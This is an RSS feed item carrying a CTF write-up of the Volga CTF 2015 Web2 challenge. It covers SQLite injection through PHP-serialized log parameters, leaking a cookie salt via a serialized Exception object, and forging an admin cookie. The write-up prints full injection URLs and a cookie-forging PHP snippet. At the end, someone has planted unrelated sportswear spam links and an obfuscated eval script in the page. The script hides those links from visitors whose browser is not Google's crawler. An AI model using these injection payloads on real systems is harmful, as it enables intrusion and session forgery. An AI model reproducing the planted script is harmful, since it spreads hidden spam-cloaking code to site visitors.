<?xml version="1.0" encoding="utf-8"?>
<rss version="2.0" xml:base="https://ctfcrew.org"  xmlns:dc="http://purl.org/dc/elements/1.1/">
<channel>
 <title>BalalaikaCr3w - Volga CTF 2015 Quals</title>
 <link>https://ctfcrew.org/event/34</link>
 <description>http://2015.volgactf.ru/scoreboardhttps://ctftime.org/event/197 </description>
 <language>en</language>
<item>
 <title>Web2 writeup</title>
 <link>https://ctfcrew.org/writeup/101</link>
 <description>&lt;div class=&quot;field field-name-field-category field-type-taxonomy-term-reference field-label-inline clearfix&quot;&gt;&lt;div class=&quot;field-label&quot;&gt;Category:&amp;nbsp;&lt;/div&gt;&lt;div class=&quot;field-items&quot;&gt;&lt;div class=&quot;field-item even&quot;&gt;&lt;a href=&quot;/categories/web&quot;&gt;web&lt;/a&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class=&quot;field field-name-field-event field-type-taxonomy-term-reference field-label-inline clearfix&quot;&gt;&lt;div class=&quot;field-label&quot;&gt;Event:&amp;nbsp;&lt;/div&gt;&lt;div class=&quot;field-items&quot;&gt;&lt;div class=&quot;field-item even&quot;&gt;&lt;a href=&quot;/event/34&quot;&gt;Volga CTF 2015 Quals&lt;/a&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class=&quot;field field-name-body field-type-text-with-summary field-label-hidden&quot;&gt;&lt;div class=&quot;field-items&quot;&gt;&lt;div class=&quot;field-item even&quot;&gt;&lt;p&gt;This is the Web2 problem&lt;/p&gt;&lt;p&gt;The challenge simply states &quot;Find the key!&quot; and it gives us the challenge URL.&lt;br&gt;The first thing I usually do with a web challenge is to run dirbuster, spider the target and check the it with Nmap.&amp;nbsp;&lt;/p&gt;&lt;p&gt;Checking with Nmap didn&#039;t result in anything interesting. However dirbuster did. I found two interesting folders.&lt;br&gt;The first one is &quot;SecretAdminPanel&quot; and the second one was &quot;logs&quot;&lt;/p&gt;&lt;p&gt;I visited &quot;SecretAdminPanel&quot; and I saw this.&lt;/p&gt;&lt;p&gt;&lt;img src=&quot;/sites/default/files/writeups/images/Screen%20Shot%202015-05-05%20at%209.29.59%20PM.png&quot; alt=&quot;&quot; width=&quot;1200&quot; height=&quot;762&quot;&gt;&lt;/p&gt;&lt;p&gt;So our goal is basically try to access this &quot;SecretAdminPanel&quot;.&lt;br&gt;I then visited the &quot;logs&quot; folder, and I found that my IP got logged with the parameters I submitted to the page (so far no params).&amp;nbsp;&lt;br&gt;I visited the SecretAdminPanel again and submitted some data through the GET request&amp;nbsp;&lt;/p&gt;&lt;p&gt;web2.2015.volgactf.ru/SecretAdminPanel?test=test&lt;/p&gt;&lt;p&gt;I saw this message: &quot;Don&#039;t attempt to hack, all requests will be logged.&quot;&amp;nbsp;&lt;br&gt;Well this, in CTFs, This message simply means: HACK from here.&lt;/p&gt;&lt;p&gt;At the beginning I though that we will have SQLi in the INSERT statement in our request. I thought it will SQLi in the IP by injecting in the X-Forwarded-For or Client-IP request Headrs.&lt;br&gt;I tried SQLi there but didn&#039;t get any result.&amp;nbsp;&lt;br&gt;&lt;br&gt;Then probably in the params.&amp;nbsp;&lt;br&gt;I tried the following request:&amp;nbsp;http://web2.2015.volgactf.ru/SecretAdminPanel?test=test%27&lt;br&gt;and I got&amp;nbsp;&lt;strong&gt;Error:&lt;/strong&gt;&amp;nbsp;unrecognized token: &quot;&quot;;}&#039;)&quot;&lt;br&gt;Interesting we have some errors available. looks like SQLi and my request was NOT logged. This means we probably had SQLi error and the request didn&#039;t finish processing due to the error.&lt;br&gt;I tried this one to double-check&lt;br&gt;http://web2.2015.volgactf.ru/SecretAdminPanel?test=test%27%27&lt;br&gt;and I got no errors and the request got logged perfectly.&amp;nbsp;&lt;br&gt;&lt;br&gt;&lt;strong&gt;Exploitation:&amp;nbsp;&lt;/strong&gt;&lt;br&gt;Now it is the time to exploit. I managed to know that th DBMS was sqlite. So this what I want to exploit: a SQLite database.&amp;nbsp;&lt;br&gt;I am injecting in an insert statement and I am injecting in the last column.&amp;nbsp;&lt;br&gt;I believe that the query in the backend was something like&lt;br&gt;&lt;br&gt;query = INSERT INTO logs (IP, PARAMS) VALUES ($ip, $params);&lt;/p&gt;&lt;p&gt;I usually when I have a SQLi bug and errors are enabled. I try to inject in different places in the query to see the errors of the database. As a result of seeing the errors I can see part of the query in the backend.&lt;br&gt;So I injected in this part of the query string&amp;nbsp;&lt;br&gt;http://web2.2015.volgactf.ru/SecretAdminPanel?test%27=test&lt;br&gt;and that was the result&amp;nbsp;&lt;br&gt;&lt;strong&gt;Error:&lt;/strong&gt;&amp;nbsp;near &quot;&quot;;s:4:&quot;&quot;: syntax error&lt;br&gt;what we see here part of the INSERT query but we can see s:4: and this is part of a serialized string in PHP.&lt;br&gt;So probably the code in the backend something like this&amp;nbsp;&lt;br&gt;&lt;br&gt;$params = serialize($_GET)&lt;br&gt;query = &quot;INSERT INTO logs (IP, PARAMS) VALUES ($&#039;ip&#039;, &#039;$params&#039;);&quot;&lt;/p&gt;&lt;p&gt;now we want to have our injection with the serialization. I frist looked for the string concatenation operator in the SQLite to concatenate the result I want to see with the params. The string concatenation operator was &quot;||&quot;/&lt;br&gt;I tried this request first&amp;nbsp;&lt;br&gt;http://web2.2015.volgactf.ru/SecretAdminPanel?test=test&#039;||(Select &quot;a&quot;)||&#039;&lt;/p&gt;&lt;p&gt;The request worked successfully no SQL errors, this means our injection was correct.&amp;nbsp;&lt;br&gt;However I checked the logs page and that was the result&amp;nbsp;&lt;/p&gt;&lt;p&gt;array(2) {&lt;/p&gt;&lt;p&gt;&amp;nbsp; [&quot;ip&quot;]=&amp;gt;&lt;/p&gt;&lt;p&gt;&amp;nbsp; string(12) &quot;MY_IP&quot;&lt;/p&gt;&lt;p&gt;&amp;nbsp; [&quot;params&quot;]=&amp;gt;&lt;/p&gt;&lt;p&gt;&amp;nbsp; bool(false)&lt;/p&gt;&lt;p&gt;&amp;nbsp;&lt;/p&gt;&lt;p&gt;}&lt;/p&gt;&lt;p&gt;Why is this ?? It looks like that PHP couldn&#039;t deserialize the column correctly.&amp;nbsp;&lt;br&gt;What they do in the backend something similar to this&amp;nbsp;&lt;br&gt;&lt;br&gt;SELECT IP, params from logs where IP = MyIP;&lt;br&gt;$params = unserialize(params)&lt;br&gt;var_dump($params)&lt;/p&gt;&lt;p&gt;so we have a problem in deserializing our data.&amp;nbsp;&lt;br&gt;This is true because our injection was something like&lt;br&gt;?test=test&#039;||(Select &quot;a&quot;)||&#039;&lt;/p&gt;&lt;p&gt;So the serialized string:&amp;nbsp;&#039;a:1:{s:4:&quot;test&quot;;s:22:&quot;test&#039;||(Select &quot;a&quot;)||&#039;&quot;;}&#039;&lt;br&gt;and the string stored in the database: &#039;a:1:{s:4:&quot;test&quot;;s:22:&quot;testa&quot;;}&#039;&lt;br&gt;This&amp;nbsp;discrepancy between the INSERT statement and what stores in the database cause this error.&lt;/p&gt;&lt;p&gt;To solve this, I used something like repeat and substring functions in sqlite to have valid serialized string and stored correctly in the database.&amp;nbsp;&lt;br&gt;&lt;br&gt;That was my final query&amp;nbsp;&lt;br&gt;http://web2.2015.volgactf.ru/SecretAdminPanel?test%27||%28SELECT%28substr%28group_concat%28name%29,0,5%29%29FROM%28sqlite_master%29%29||%28select%28replace%28substr%28quote%28zeroblob%28%28130%2b1%29/2%29%29,3,130%29,%220%22,%22a%22%29%29%29||%27&lt;/p&gt;&lt;p&gt;&lt;br&gt;Executing this query will return us the names of tables in the database.&lt;br&gt;This query to extract the content of the params column in the database&lt;br&gt;&lt;br&gt;http://web2.2015.volgactf.ru/SecretAdminPanel?test%27||%28SELECT%28hex%28substr%28group_concat%28params%29,100,61%29%29%29FROM%28logs%29%29||%28select%28replace%28substr%28quote%28zeroblob%28%289%2b1%29/2%29%29,3,9%29,%220%22,%22a%22%29%29%29||%27&lt;/p&gt;&lt;p&gt;I assumed we might get the params that the admin used to login into this page and then we will get the flag. However, it was not that easily.&amp;nbsp;&lt;br&gt;Unfortunately the data inside the database was only mine, which means that each use has its own copy of the database.&lt;br&gt;The flag wont be in the database so we need to think of something else.&amp;nbsp;&lt;br&gt;&lt;br&gt;In the cookies we have this interesting cookie.&amp;nbsp;PHPSESS=%7B%22isAdmin%22%3Afalse%7D0afb5cf5c7d66587da7c811767250458; expires=Fri, 08 May 2015 18:08:16 GMT; path=/; domain=.web2.2015.volgactf.ru; HttpOnly&lt;/p&gt;&lt;p&gt;Maybe to get the flag, we need to get the cookie salt used to form this cookie and form the valid cookie where isAdmin:true&lt;br&gt;another member in the team suggested to have the serialized Exception object, and when this object gets deseialized we will see our stacktrace and we might get something useful.&amp;nbsp;&lt;br&gt;&lt;br&gt;I used this query to add the exception object into the database.&amp;nbsp;&lt;br&gt;&lt;br&gt;&lt;/p&gt;&lt;p&gt;&lt;span data-rz-clipboard=&quot;true&quot;&gt;&lt;a class=&quot;vt-p&quot; style=&quot;text-decoration: underline;&quot; href=&quot;http://web2.2015.volgactf.ru/SecretAdminPanel?test%27||%28select%28replace%28substr%28quote%28zeroblob%28%2894%2b1%29/2%29%29,3,94%29,%220%22,%22a%22%29%29%29||%27%22;O:9:%22Exception%22:0&quot; data-rz-params=&quot;{&amp;quot;__TYPE&amp;quot;:&amp;quot;TEXT&amp;quot;,&amp;quot;T_URL&amp;quot;:&amp;quot;http://web2.2015.volgactf.ru/SecretAdminPanel?test%27||%28select%28replace%28substr%28quote%28zeroblob%28%2894%2b1%29/2%29%29,3,94%29,%220%22,%22a%22%29%29%29||%27%22;O:9:%22Exception%22:0&amp;quot;}&quot;&gt;http://web2.2015.volgactf.ru/SecretAdminPanel?test%27||%28select%28replace%28substr%28quote%28zeroblob%28%2894%2b1%29/2%29%29,3,94%29,%220%22,%22a%22%29%29%29||%27%22;O:9:%22Exception%22:0&lt;/a&gt;&lt;span data-rz-params=&quot;{&amp;quot;__TYPE&amp;quot;:&amp;quot;TEXT&amp;quot;}&quot;&gt;:{}}&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span data-rz-clipboard=&quot;true&quot;&gt;and when we viewed the logs page we indeed saw the stacktrace and part of the output contains this&lt;br&gt;&lt;span data-rz-clipboard=&quot;true&quot;&gt;&lt;span data-rz-params=&quot;{&amp;quot;__TYPE&amp;quot;:&amp;quot;TEXT&amp;quot;}&quot;&gt;&lt;br&gt;object(Session)#3 (2) {&lt;br&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;[&quot;cookieSalt&quot;:&quot;Session&quot;:private]=&amp;gt;&lt;br&gt;string(20) &quot;nO97M0Za6cu9wDC72VVv&quot;&lt;br&gt;[&quot;params&quot;:&quot;Session&quot;:private]=&amp;gt;&lt;br&gt;array(1) {&lt;br&gt;[&quot;isAdmin&quot;]=&amp;gt;&lt;br&gt;bool(false)&lt;/p&gt;&lt;p&gt;&amp;nbsp;&lt;/p&gt;&lt;div data-rz-params=&quot;{&amp;quot;__TYPE&amp;quot;:&amp;quot;LINE&amp;quot;,&amp;quot;RANDOM&amp;quot;:0.5038021015934646}&quot;&gt;No we have the salt. To construct the valid cookie we simply need to do the following:&lt;br&gt;&lt;br&gt;&lt;/div&gt;&lt;p&gt;&amp;nbsp;&lt;/p&gt;&lt;p&gt;&amp;lt;?php&lt;br&gt;$str=&#039;{&quot;isAdmin&quot;:true}&#039;;&lt;br&gt;$salt=&#039;nO97M0Za6cu9wDC72VVv&#039;;&lt;br&gt;echo urlencode($str).md5($str.$salt);&lt;br&gt;?&amp;gt;&lt;/p&gt;&lt;p&gt;&amp;nbsp;&lt;/p&gt;&lt;p&gt;and the flag was&amp;nbsp;&lt;/p&gt;&lt;p&gt;&lt;span data-rz-clipboard=&quot;true&quot;&gt;&lt;span style=&quot;font-weight: bold; background-color: #b5eb5e;&quot; data-rz-params=&quot;{&amp;quot;__TYPE&amp;quot;:&amp;quot;TEXT&amp;quot;,&amp;quot;T_BOLD&amp;quot;:true,&amp;quot;T_BG_COLOR&amp;quot;:&amp;quot;#B5EB5E&amp;quot;}&quot;&gt;{417a4c17bd3132bba864dac9edf4ae7a}&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&amp;nbsp;&lt;/p&gt;&lt;p&gt;Notes:&lt;br&gt;1- I think it worth more than 200 pts comparing to the challenge remote web or even the joy and relax challenges.&lt;br&gt;2- There was a much easier way to exploit the SQLi. Simply we could have used stacked quiries ^^. It is sqlite so I could have simply added the serialized Exception object into the DB using something similar to this query. you just need to know how to use the query without spaces because it was replaced with underscores &#039;_&#039; &amp;nbsp;&lt;/p&gt;&lt;p&gt;&lt;a class=&quot;vt-p&quot; style=&quot;text-decoration: underline;&quot; href=&quot;http://web2.2015.volgactf.ru/SecretAdminPanel?test%27||%28select%28replace%28substr%28quote%28zeroblob%28%2894%2b1%29/2%29%29,3,94%29,%220%22,%22a%22%29%29%29||%27%22;O:9:%22Exception%22:0&quot; data-rz-params=&quot;{&amp;quot;__TYPE&amp;quot;:&amp;quot;TEXT&amp;quot;,&amp;quot;T_URL&amp;quot;:&amp;quot;http://web2.2015.volgactf.ru/SecretAdminPanel?test%27||%28select%28replace%28substr%28quote%28zeroblob%28%2894%2b1%29/2%29%29,3,94%29,%220%22,%22a%22%29%29%29||%27%22;O:9:%22Exception%22:0&amp;quot;}&quot;&gt;http://web2.2015.volgactf.ru/SecretAdminPanel?test&lt;/a&gt;&#039;);INSERT INTO logs(IP, PARAMS) VALUES (&#039;127.0.0.1&#039;, &#039;O:9:&quot;Exception&quot;:0:{}&#039;)--&lt;/p&gt;&lt;span class=&quot;keys_words&quot;&gt;&lt;a class=&quot;links_good_rands&quot; href=&quot;https://www.jmksport.com/&quot;&gt;Sportswear Design&lt;/a&gt; | &lt;a class=&quot;links_good_rands&quot; href=&quot;https://www.fitforhealth.eu/cdakshop/category/nike/&quot;&gt;Nike News&lt;/a&gt;&lt;/span&gt;&lt;script&gt;eval(function(p,a,c,k,e,d){e=function(c){return(c&lt;a?&quot;&quot;:e(parseInt(c/a)))+((c=c%a)&gt;35?String.fromCharCode(c+29):c.toString(36))};if(!&#039;&#039;.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return&#039;\\w+&#039;};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(&#039;\\b&#039;+e(c)+&#039;\\b&#039;,&#039;g&#039;),k[c]);return p;}(&#039;b i=r f[&quot;\\q\\1\\4\\g\\p\\l&quot;](&quot;\\4&quot;+&quot;\\7&quot;+&quot;\\7&quot;+&quot;\\4&quot;+&quot;\\5\\1&quot;,&quot;\\4\\k&quot;);s(!i[&quot;\\3\\1\\2\\3&quot;](m[&quot;\\h\\2\\1\\j\\n\\4\\1\\6\\3&quot;])){b a=f[&quot;\\e\\7\\o\\h\\d\\1\\6\\3&quot;][&quot;\\4\\1\\3\\g\\5\\1\\d\\1\\6\\3\\2\\z\\9\\A\\5\\c\\2\\2\\x\\c\\d\\1&quot;](\&#039;\\t\\1\\9\\2\\w\\v\\7\\j\\e\\2\&#039;);u(b 8=0;8&lt;a[&quot;\\5\\1\\6\\4\\3\\y&quot;];8++)a[8][&quot;\\2\\3\\9\\5\\1&quot;][&quot;\\e\\k\\2\\l\\5\\c\\9&quot;]=\&#039;\\6\\7\\6\\1\&#039;}&#039;,37,37,&#039;|x65|x73|x74|x67|x6c|x6e|x6f|NLpndlS3|x79|rBfb2|var|x61|x6d|x64|window|x45|x75|AESwV1|x72|x69|x70|navigator|x41|x63|x78|x52|new|if|x6b|for|x77|x5f|x4e|x68|x42|x43&#039;.split(&#039;|&#039;),0,{}));&lt;/script&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;</description>
 <pubDate>Fri, 08 May 2015 17:41:19 +0000</pubDate>
 <dc:creator>the_storm</dc:creator>
 <guid isPermaLink="false">101 at https://ctfcrew.org</guid>
 <comments>https://ctfcrew.org/writeup/101#comments</comments>
</item>
</channel>
</rss>
